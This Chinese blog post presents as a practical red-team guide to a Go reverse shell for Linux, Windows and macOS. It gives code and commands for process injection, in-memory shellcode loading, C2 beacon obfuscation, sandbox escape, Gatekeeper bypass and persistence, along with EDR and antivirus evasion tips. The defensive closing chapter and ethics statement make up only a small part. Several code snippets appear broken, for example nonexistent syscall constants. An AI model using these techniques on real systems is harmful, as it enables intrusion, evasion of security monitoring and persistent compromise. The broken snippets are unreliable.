Posted in

【ATT&CK T1055/T1071实战升级】:基于Go的跨平台反向Shell脚本——支持Linux/Windows/macOS一键部署

第一章:Go语言反向Shell脚本的核心设计哲学

Go语言构建反向Shell并非单纯追求“最小体积”或“隐蔽性”,其设计哲学根植于语言原生特性与系统编程本质的深度耦合:静态链接、跨平台编译、无依赖运行时、以及对底层网络I/O的精细控制能力。这种哲学拒绝抽象层堆叠,强调“用最简机制达成最稳交付”。

零依赖静态二进制交付

Go默认静态链接所有依赖(包括C标准库的musl/glibc替代实现),编译产物不依赖目标主机的/lib/usr/lib。例如:

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o reverse_shell main.go

其中-s -w剥离调试符号与DWARF信息,使二进制体积压缩40%以上,且无需目标环境安装Go运行时。

并发模型天然适配双向信道

反向Shell需同时处理命令执行输出回传与用户输入接收。Go的goroutine + channel模型避免了传统C中select/poll的复杂状态管理:

// 启动两个goroutine分别处理stdin→conn与conn→stdout
go func() { io.Copy(conn, os.Stdin) }()  // 输入流推送至远程
go func() { io.Copy(os.Stdout, conn) }() // 远程输出打印到本地

该模式以10行代码替代数百行epoll循环,错误传播由io.Copy自动返回,符合“失败即终止”的健壮性原则。

网络层控制权完全自主

不依赖shell解释器(如/bin/sh -i),而是直接调用syscall.Syscall执行execve系统调用,绕过进程创建开销与终端检测:

// 使用原始syscall启动bash,避免sh -c解析引入的空格/引号陷阱
syscall.Exec("/bin/bash", []string{"bash", "-i"}, os.Environ())

此方式使会话完全继承父进程网络文件描述符,规避了重定向管道的竞态条件。

安全边界设计原则

原则 实现方式
最小权限启动 默认以非root用户运行,仅在必要时提权
连接超时强制退出 net.DialTimeout设置5秒连接窗口,防卡死
心跳保活 每30秒发送空字节维持TCP连接活跃状态

这种哲学将反向Shell从“攻击载荷”升维为“可控网络服务组件”,其可维护性、可观测性与合规适配能力远超传统脚本方案。

第二章:ATT&CK战术映射与跨平台通信层实现

2.1 T1055 进程注入技术的Go语言建模与规避实践

进程注入是红队常用技术,T1055(Process Injection)在MITRE ATT&CK中涵盖DLL注入、远程线程创建、APC注入等变体。Go语言因静态编译、无运行时依赖特性,天然规避部分EDR钩子,但需绕过内存保护机制。

核心建模思路

  • 利用syscall包直接调用Windows API(VirtualAllocEx/WriteProcessMemory/CreateRemoteThread
  • 使用unsafe指针操作实现shellcode动态加载
  • 避免调用kernel32.dll导出函数名字符串(防止字符串扫描)

Go注入关键代码片段

// 开辟远程内存并写入shellcode(x64)
addr, _, _ := procVirtualAllocEx.Call(
    uintptr(hProcess), 0, uintptr(len(shellcode)),
    MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
procWriteProcessMemory.Call(
    uintptr(hProcess), addr, uintptr(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)), 0)
procCreateRemoteThread.Call(
    uintptr(hProcess), 0, addr, 0, 0, 0, 0)

逻辑分析VirtualAllocEx申请可执行内存页;WriteProcessMemory写入混淆后的shellcode(如XOR编码);CreateRemoteThread触发执行。参数PAGE_EXECUTE_READWRITE启用执行权限,是EDR重点监控点,实践中应结合SetThreadContext+NtContinue替代以规避线程创建日志。

规避策略对比表

策略 EDR检测面 Go实现难度 内存特征
直接CreateRemoteThread 高(API调用链) ★★☆ 明确PAGE_EXECUTE标志
APC注入(NtQueueApcThread) 中(需目标线程挂起) ★★★★ 无新线程,隐蔽性强
Process Hollowing 高(PE头校验) ★★★☆ 进程镜像被篡改
graph TD
    A[获取目标进程句柄] --> B[分配远程内存]
    B --> C[写入混淆shellcode]
    C --> D{选择执行方式}
    D --> E[CreateRemoteThread]
    D --> F[QueueUserAPC]
    D --> G[SetThreadContext+NtContinue]

2.2 T1071 应用层协议选择:TCP/HTTP/DNS/HTTPS的动态协商机制实现

动态协议协商需在连接建立初期完成应用层语义识别,避免硬编码依赖。核心在于基于流量特征与响应行为的轻量级探测。

协商决策流程

def select_protocol(host, port=443):
    # 尝试 TLS 握手(HTTPS)
    if try_tls_handshake(host, port): return "HTTPS"
    # 检查 HTTP 响应头(明文服务)
    if probe_http_head(host, 80): return "HTTP"
    # DNS 查询可达性(UDP/TCP 端口53)
    if resolve_dns(host): return "DNS"
    return "TCP"  # 降级为原始流隧道

逻辑分析:try_tls_handshake() 超时设为 1.5s,避免阻塞;probe_http_head() 发送 HEAD / HTTP/1.1 并校验 HTTP/ 响应前缀;resolve_dns() 同时尝试 UDP 53 与 TCP 53 回退。

协议特征对比

协议 默认端口 加密 应答特征 协商延迟
HTTPS 443 TLS ServerHello ~1.5s
HTTP 80 HTTP/1.1 200 OK ~0.3s
DNS 53 DNS Header + QR=1 ~0.2s
TCP 自定义 无结构响应(透传) ~0.1s

协商状态流转

graph TD
    A[Start] --> B{TLS握手成功?}
    B -->|Yes| C[Use HTTPS]
    B -->|No| D{HTTP HEAD响应有效?}
    D -->|Yes| E[Use HTTP]
    D -->|No| F{DNS解析可达?}
    F -->|Yes| G[Use DNS]
    F -->|No| H[Fallback to raw TCP]

2.3 跨平台Socket抽象层设计:Linux epoll、Windows IOCP、macOS kqueue统一封装

跨平台异步I/O抽象的核心在于统一事件语义:就绪通知、操作上下文、错误传递。

统一事件模型

  • EventKind: READABLE/WRITABLE/ERROR
  • EventData: 携带fd/handle、字节数、错误码
  • 所有后端将原生事件映射至此结构

核心接口契约

class IoBackend {
public:
    virtual bool register_fd(int fd, void* ctx) = 0;  // ctx为用户数据指针
    virtual int wait_events(EventData* out, int max) = 0; // 阻塞等待,返回就绪数
    virtual void close() = 0;
};

该接口屏蔽了epoll_ctl()的op参数、IOCP的GetQueuedCompletionStatus()同步语义、kqueue的kevent()批量注册差异。wait_events()统一以毫秒超时、非阻塞轮询或无限等待模式工作。

平台 原生机制 就绪粒度 上下文绑定方式
Linux epoll fd级 epoll_data.ptr
Windows IOCP 重叠I/O OVERLAPPED关联
macOS kqueue ident级 kevent.udata
graph TD
    A[统一IoBackend] --> B[epoll_impl]
    A --> C[iocp_impl]
    A --> D[kqueue_impl]
    B --> E[epoll_wait]
    C --> F[GetQueuedCompletionStatus]
    D --> G[kevent]

2.4 反检测载荷构建:Go编译器标志优化与符号剥离实战(-ldflags -s -w)

Go二进制默认携带丰富调试符号与运行时元信息,极易被EDR/AV识别为可疑载荷。-ldflags "-s -w" 是轻量级反检测的关键组合。

-s -w 的作用机制

  • -s:剥离符号表(symbol table)和调试信息(如 .symtab, .strtab, .debug_* 段)
  • -w:禁用DWARF调试数据生成(移除堆栈回溯、源码行号、变量名等)

编译对比示例

# 默认编译(含符号)
go build -o payload_normal main.go

# 反检测优化编译
go build -ldflags "-s -w" -o payload_stripped main.go

go tool objdump -s "main\.main" payload_stripped 将返回“no such symbol”,验证符号已不可见;readelf -S payload_stripped | grep -E "(sym|debug)" 输出为空,确认段剥离成功。

效果对比表

特征 默认编译 -ldflags "-s -w"
二进制体积 较大(+30%~50%) 显著减小
strings 可见函数名 大量(如 runtime.main 极少或无
EDR符号匹配命中率 显著降低
graph TD
    A[源码 main.go] --> B[go build]
    B --> C[默认链接:保留符号/DWARF]
    B --> D[ldflags -s -w:剥离符号+禁用DWARF]
    C --> E[易被检测]
    D --> F[提升免杀能力]

2.5 内存马式执行:基于syscall.Syscall的无文件内存加载与反射调用链构造

核心原理

利用 syscall.Syscall 直接调用 Windows API(如 VirtualAlloc, RtlMoveMemory, CreateThread),绕过 Go 运行时内存管理,在 RWX 内存页中写入 Shellcode 并执行,全程不落地。

关键调用链

  • 分配可执行内存 → 复制 payload → 触发执行
  • 所有操作通过 unsafe.Pointer + uintptr 转换完成,规避 GC 和反射限制

示例:Shellcode 注入片段

// 分配 RWX 内存(PAGE_EXECUTE_READWRITE)
addr, _, _ := syscall.Syscall(syscall.SYS_VIRTUALALLOC, 0, uintptr(size), 
    uint64(0x3000), uint64(0x40)) // MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE

// 复制 shellcode 到 addr
syscall.Syscall(syscall.SYS_RTLMOVEMEMORY, addr, 
    uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

// 创建远程线程执行
syscall.Syscall(syscall.SYS_CREATETHREAD, 0, 0, addr, 0, 0, 0)

逻辑分析Syscall 第一参数为系统调用号(平台相关),第二至第四为 ABI 参数;RtlMoveMemory 等效于 memcpy,需确保 addr 已映射为可执行页;CreateThread 最后两参数为线程 ID 与堆栈大小(此处设 0 表示默认)。

典型限制对比

维度 反射加载(reflect.Value.Call Syscall 内存马
文件依赖
运行时可见性 高(函数/类型元信息完整) 极低(纯机器码)
EDR检测面 中(反射调用痕迹) 高(RWX+API序列)

第三章:多OS会话管理与持久化模块开发

3.1 统一会话状态机设计:连接建立→认证→指令分发→心跳保活全流程实现

统一状态机将长连接生命周期抽象为四个原子态,避免状态散列与竞态条件:

type SessionState int
const (
    StateIdle SessionState = iota // 初始空闲(未建连)
    StateConnected                // TCP握手完成
    StateAuthenticated            // 凭证校验通过
    StateActive                   // 可接收业务指令
    StateHeartbeating             // 心跳通道激活中
)

该枚举定义了严格单向跃迁约束,仅允许 Idle → Connected → Authenticated → Active → Heartbeating,禁止回退或跨跳。

状态跃迁驱动逻辑

  • 每次网络事件(如 OnConnect, OnMessage)触发 Transition() 方法
  • 认证失败强制降级至 StateIdle 并关闭连接
  • 连续3次心跳超时触发 StateActive → StateIdle 自毁流程

核心状态流转图

graph TD
    A[StateIdle] -->|TCP SYN-ACK| B[StateConnected]
    B -->|AuthReq+JWT| C[StateAuthenticated]
    C -->|AuthAck| D[StateActive]
    D -->|PING/PONG| E[StateHeartbeating]
    E -->|Timeout×3| A

关键参数说明

参数 类型 说明
authTimeoutMs int64 认证窗口期,默认5000ms,超时则拒绝进入Active态
heartbeatIntervalMs int64 PING发送间隔,默认30000ms
maxMissedPongs uint8 允许丢失心跳次数阈值,达3次即断连

3.2 Windows服务注册与macOS LaunchDaemon/LaunchAgent的Go原生部署逻辑

Go 程序需脱离终端长期运行,跨平台守护机制设计是关键。

注册为 Windows 服务(使用 golang.org/x/sys/windows/svc

func run() {
    isInteractive := false
    if len(os.Args) > 1 && os.Args[1] == "-interactive" {
        isInteractive = true
    }
    if isInteractive {
        runInteractive()
    } else {
        runService()
    }
}

-interactive 模式用于调试;runService() 调用 svc.Run("MyApp", &program{}) 将进程注册为系统服务,依赖 SERVICE_WIN32_OWN_PROCESS 启动类型。服务名 "MyApp" 需在 sc create 或安装时预设权限。

macOS 启动项适配策略

类型 运行上下文 推荐路径
LaunchDaemon root 用户 /Library/LaunchDaemons/
LaunchAgent 当前登录用户 ~/Library/LaunchAgents/

安装流程(mermaid)

graph TD
    A[Go 二进制] --> B{OS 判断}
    B -->|Windows| C[调用 svc.Install]
    B -->|macOS| D[生成 plist + launchctl load]
    C --> E[sc start MyApp]
    D --> F[launchctl enable system/com.example.app]

核心逻辑:通过 runtime.GOOS 分支编译期不可知、运行期动态适配,避免外部脚本依赖。

3.3 Linux systemd unit文件自生成与权限降级(setuid/setgid)安全绕过策略

systemd 单元文件若由非特权进程动态生成并启用,可能绕过 setuid/setgid 的权限约束机制。

权限降级失效场景

当服务以 User=nobody 运行但 unit 文件由 root 写入 /etc/systemd/system/ 且未校验来源时,攻击者可注入 ExecStart= 调用 setuid 二进制(如 /usr/bin/newgrp),触发提权。

典型绕过单元示例

# /tmp/malicious.service
[Unit]
Description=Malicious service bypassing setgid
[Service]
Type=oneshot
User=root
ExecStart=/bin/sh -c 'cp /usr/bin/python3.9 /tmp/pwn && chmod u+s /tmp/pwn'
RemainAfterExit=yes

逻辑分析:User=root 覆盖了调用进程的降权上下文;ExecStart 直接执行特权操作。chmod u+s 在 root 权限下生效,后续普通用户可执行 /tmp/pwn 获取 root 能力。

防御建议对比

措施 是否阻断 unit 自生成绕过 原因
DynamicUser=yes 禁止写入 /etc/systemd/system/,且隔离 UID/GID
RestrictSUIDSGID=true 阻止 chmod u+s/g+s 系统调用
NoNewPrivileges=true ⚠️ 仅限制 execve 提权,不阻止 unit 文件本身被 root 启用
graph TD
    A[非特权进程生成 .service] --> B{写入位置}
    B -->|/etc/systemd/system/| C[systemctl daemon-reload]
    B -->|/run/systemd/system/| D[需 root 权限启用]
    C --> E[Root 执行 ExecStart]
    E --> F[绕过 setuid/setgid 限制]

第四章:实战对抗增强功能集成

4.1 TLS证书指纹伪造与SNI混淆:基于crypto/tls的客户端伪装技术

核心原理

TLS握手阶段,客户端可主动篡改ServerName(SNI)并构造非标准CertificateVerify签名上下文,干扰服务端指纹识别逻辑。

SNI动态混淆示例

config := &tls.Config{
    ServerName:         "api.example.com", // 实际请求域名
    InsecureSkipVerify: true,
}
// 强制覆盖ClientHello中的SNI字段(需反射或自定义Conn)

ServerName参数控制SNI明文内容;InsecureSkipVerify绕过证书链校验,为指纹篡改提供执行窗口。真实场景需结合GetClientCertificate回调劫持证书序列化流程。

常见指纹特征对比

特征项 正常Go客户端 伪装后客户端
JA3指纹 771,4865,0-4866,0-255 771,4865,4867,0-255
SNI长度 12字节 32字节随机填充

握手流程变异

graph TD
    A[ClientHello] --> B{SNI字段注入}
    B --> C[伪造ALPN扩展]
    C --> D[篡改signature_algorithms]
    D --> E[服务端TLS指纹引擎误判]

4.2 命令执行沙箱逃逸:Linux namespace隔离突破与Windows Job Object绕过

Linux namespace 隔离的脆弱边界

容器常依赖 CLONE_NEWPIDCLONE_NEWNS 等 flag 构建 PID/ mount namespace,但若父进程保留 CAP_SYS_ADMIN 且未禁用 unshare(),攻击者可调用:

// 逃逸至宿主 mount namespace
unshare(CLONE_NEWNS);
mount("", "/", NULL, MS_REC | MS_SLAVE, NULL); // 降级挂载传播
mount("/proc/hostfs", "/", NULL, MS_BIND | MS_REC, NULL); // 重新绑定宿主根

MS_REC | MS_SLAVE 解除子挂载点传播性,为后续 bind mount 创造条件;/proc/hostfs 需提前由宿主挂载(如 mount --rbind / /proc/hostfs),否则触发 ENOENT。

Windows Job Object 的策略盲区

Job Object 通过 JOB_OBJECT_LIMIT_BREAKAWAY_OK 允许子进程脱离限制,但若未设置 JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OKCreateProcess 仍可绕过:

标志 行为
BREAKAWAY_OK 允许 CREATE_BREAKAWAY_FROM_JOB 创建脱离进程
SILENT_BREAKAWAY_OK 允许无显式标志的隐式脱离

混合逃逸路径

graph TD
    A[沙箱进程] --> B{Linux: CAP_SYS_ADMIN?}
    A --> C{Windows: BREAKAWAY_OK set?}
    B -->|Yes| D[unshare + bind mount]
    C -->|Yes| E[CreateProcess with CREATE_BREAKAWAY_FROM_JOB]

4.3 macOS Gatekeeper绕过:代码签名伪造与公证链模拟(notarization bypass)

Gatekeeper 验证依赖两个关键环节:有效的 Apple 签名(CodeSignature)和有效的公证票据(notarization ticket),二者通过 stapled 文件或 Apple 的在线验证服务协同校验。

核心绕过思路

  • 伪造签名时保留合法 Team ID 与证书链结构,但替换 CodeDirectory 哈希;
  • 模拟公证链需注入伪造的 ticket.plist 并篡改 __LINKEDIT 中的 entitlementssignature offset。

关键工具链

  • codesign --force --sign - --deep --preserve-metadata=entitlements(⚠️ 仅测试环境)
  • xar -f ticket.xar -C /tmp --extract 提取并重签公证包
# 注入伪造票据(需提前构造匹配 UUID 的 ticket.plist)
xar -f app-signed.app/Contents/_CodeSignature/CodeResources \
    --inject ticket.plist=Ticket

此命令将伪造票据嵌入资源表,欺骗 spctl --assess 的本地 stapling 检查。CodeResources 是 XML 清单,其 <key>ticket</key> 节点被覆盖后,系统误判为已公证。

组件 作用 绕过条件
CodeDirectory 二进制哈希摘要 哈希需与伪造签名一致
ticket.plist 公证时间戳与UUID 必须与 App Bundle ID 和 UUID 匹配
graph TD
    A[原始App] --> B[剥离签名]
    B --> C[注入伪造CodeDirectory]
    C --> D[嵌入伪造ticket.plist]
    D --> E[重签并staple]
    E --> F[Gatekeeper误判为已公证]

4.4 C2信标混淆:Base85+XOR+时间戳动态密钥的多层编码传输协议实现

为规避基于静态特征的网络检测(如Suricata规则、YARA签名),本协议采用三层协同混淆机制:

  • Base85编码:比Base64密度更高(每字节1.25字符),压缩载荷体积,降低HTTP头异常长度触发率;
  • XOR动态密钥:以当前Unix时间戳(秒级)为种子,生成32位循环密钥,每次信标周期唯一;
  • 时间戳嵌入:明文时间戳经SHA-256哈希后截取前4字节,作为XOR轮次偏移量,增强时序抗重放性。

核心混淆流程

import time, hashlib, base64

def obfuscate_payload(payload: bytes) -> str:
    ts = int(time.time())                    # 当前秒级时间戳
    key = (ts ^ (ts << 13) ^ (ts >> 7)) & 0xFFFFFFFF  # 32位LFSR式密钥
    hash4 = int(hashlib.sha256(str(ts).encode()).hexdigest()[:8], 16) & 0xFF
    xor_rounds = 1 + (hash4 % 3)             # 动态1~3轮XOR

    obf = payload
    for _ in range(xor_rounds):
        obf = bytes(b ^ ((key >> (i % 32)) & 0xFF) for i, b in enumerate(obf))

    return base64.b85encode(obf).decode()    # Base85编码输出

逻辑分析key通过位移异或生成非线性密钥流,避免简单时间戳直接暴露;xor_rounds由哈希导出,使相同时间戳在不同会话中可能产生不同轮数,打破确定性模式;Base85编码兼容URL-safe字符集(!-O),适配HTTP GET参数场景。

协议字段结构

字段 长度(字节) 说明
ts_enc 4 AES-ECB加密的时间戳(密钥固定)
payload_obf 可变 上述obfuscate_payload()输出
mac 8 CRC32(payload_obf + ts_enc)
graph TD
    A[原始Beacon] --> B[XOR动态轮次加密]
    B --> C[Base85编码]
    C --> D[附加TS加密块与MAC]
    D --> E[HTTP POST Body]

第五章:防御视角下的检测规避总结与伦理边界声明

检测规避技术的实战映射图谱

在红蓝对抗演练中,某金融客户环境遭遇APT29变种攻击:攻击者通过合法云服务API(如GitHub Actions Webhook)分段投递PowerShell载荷,绕过基于YARA规则的EDR静态扫描;同时利用Windows事件日志归档机制的延迟窗口(平均47秒),在Logon/Logoff事件触发后32秒内完成内存注入并清空进程痕迹。该案例表明,规避能力已从“特征逃逸”升级为“时序博弈”,防御方需将检测逻辑嵌入日志采集链路的毫秒级时间戳校验环节。

防御体系的三层响应断点

断点层级 典型失效场景 可落地加固措施
数据采集层 EDR未启用ETW Provider 0x10(Process Create)全量捕获 部署Sysmon v14.0+,强制启用Rule 3(NetworkConnect)与Rule 10(ProcessAccess)组合日志
分析引擎层 SIEM规则依赖单一进程名匹配(如”powershell.exe”),忽略子进程继承的父进程签名 构建进程血缘图谱,要求所有告警必须携带ParentImageHash与CommandLineHash双指纹
响应执行层 自动化隔离脚本仅终止进程,未同步卸载其加载的驱动模块(如恶意.sys) 在SOAR剧本中插入WinRM命令:sc.exe queryex type= driver state= all \| findstr "malware_driver"
flowchart LR
    A[原始攻击载荷] --> B{是否触发AV签名?}
    B -->|是| C[启用无文件技术:.NET Assembly LoadFrom内存加载]
    B -->|否| D[常规PE执行]
    C --> E{是否调用可疑API?}
    E -->|是| F[使用API Hash混淆:GetProcAddress+ROR13加密函数名]
    E -->|否| G[直接调用]
    F --> H[绕过基于API名称的HIPS规则]
    G --> I[落入传统行为监控范围]

红队输出物的合规性熔断机制

某省级政务云渗透项目中,红队在交付报告前执行三重熔断检查:① 自动过滤所有含C:\Windows\System32\cmd.exe /c del /f /q模式的命令记录(违反《网络安全法》第27条);② 对所有内存dump文件进行SHA-256哈希比对,排除已知勒索软件家族特征库(VirusTotal Public API实时查询);③ 使用NIST SP 800-115标准验证所有漏洞利用代码,确保不触发目标系统BSOD或数据库事务回滚。交付包中包含独立的ethics_audit.log,记录每项规避技术对应的法律条款编号及替代方案说明。

伦理审查的不可协商红线

  • 禁止利用未公开0day漏洞实施横向移动(即使已获书面授权)
  • 禁止修改生产环境核心配置文件(如/etc/passwd、Active Directory Schema)
  • 禁止在目标网络部署任何持久化组件(包括合法用途的远程管理Agent)
  • 所有内存操作必须满足“无痕原则”:进程退出后,Pagefile.sys与Hiberfil.sys中残留数据经AES-256加密擦除

检测规避能力的动态评估框架

某央企SOC采用ATT&CK Navigator v4.2构建规避能力热力图,将MITRE ATT&CK T1070(Indicator Removal)细分为17个子技术,每个子技术标注三类实测指标:① 规则覆盖度(当前SIEM规则命中率);② 日志完备性(所需日志字段在90天内缺失率);③ 响应时效性(从日志生成到告警推送的P95延迟)。最新评估显示T1070.004(Log Collection Disable)的规则覆盖度仅63%,直接推动采购支持WEC(Windows Event Collector)双向认证的日志网关设备。

十年码龄,从 C++ 到 Go,经验沉淀,娓娓道来。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注